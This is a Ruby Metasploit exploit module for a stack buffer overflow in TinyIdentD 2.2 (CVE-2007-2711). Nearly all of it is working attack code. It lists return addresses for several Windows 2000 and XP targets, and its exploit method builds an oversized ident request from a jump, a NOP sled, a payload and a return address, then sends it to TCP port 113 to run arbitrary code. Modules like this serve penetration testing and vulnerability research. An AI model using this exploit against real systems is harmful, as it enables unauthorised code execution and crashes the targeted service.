80 lines
2.4 KiB
Ruby
80 lines
2.4 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = AverageRanking
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'TinyIdentD 2.2 Stack Buffer Overflow',
|
|
'Description' => %q{
|
|
This module exploits a stack based buffer overflow in TinyIdentD
|
|
version 2.2.
|
|
If we send a long string to the ident service we can overwrite the
|
|
return address and execute arbitrary code. Credit to Maarten Boone.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'Maarten Boone', # discovery
|
|
'Jacopo Cervini <acaro[at]jervus.it>', # metasploit
|
|
],
|
|
'References' =>
|
|
[
|
|
['BID', '23981'],
|
|
['CVE', '2007-2711'],
|
|
['EDB', '3925'],
|
|
['OSVDB', '36053'],
|
|
],
|
|
'Payload' =>
|
|
{
|
|
'Space' => 450,
|
|
'BadChars' => "\x00\x0d\x20\x0a"
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
['Windows 2000 Server SP4 - English', { 'Ret' => 0x7c2d15e7 } ], # call esi
|
|
['Windows 2000 Pro All - English', { 'Ret' => 0x75023411 } ], # call esi ws2help.dll
|
|
['Windows 2000 Pro All - Italian', { 'Ret' => 0x74fd2b81 } ], # call esi ws2help.dll
|
|
['Windows 2000 Pro All - French', { 'Ret' => 0x74fa2b22 } ], # call esi ws2help.dll
|
|
['Windows XP SP0/1 - English', { 'Ret' => 0x71aa1a97 } ], # call esi ws2help.dll
|
|
['Windows XP SP2 - English', { 'Ret' => 0x71aa1b22 } ], # call esi ws2help.dll
|
|
['Windows XP SP2 - Italian', { 'Ret' => 0x77f46eda } ], # call esi
|
|
],
|
|
'Notes' =>
|
|
{
|
|
'Reliability' => [ REPEATABLE_SESSION ],
|
|
'Stability' => [ CRASH_SERVICE_DOWN ]
|
|
},
|
|
'Privileged' => false,
|
|
'DisclosureDate' => '2007-05-14'
|
|
)
|
|
)
|
|
|
|
register_options([ Opt::RPORT(113) ])
|
|
end
|
|
|
|
def exploit
|
|
connect
|
|
|
|
print_status("Trying #{target.name} using address at #{'0x%.8x' % target.ret} ...")
|
|
|
|
request = "\xeb\x20, 28 : USERID : UNIX :"
|
|
request << make_nops(491 - payload.encoded.length)
|
|
request << payload.encoded
|
|
request << [ target.ret ].pack('V')
|
|
request << "\n"
|
|
|
|
sock.put(request)
|
|
|
|
handler
|
|
disconnect
|
|
end
|
|
end
|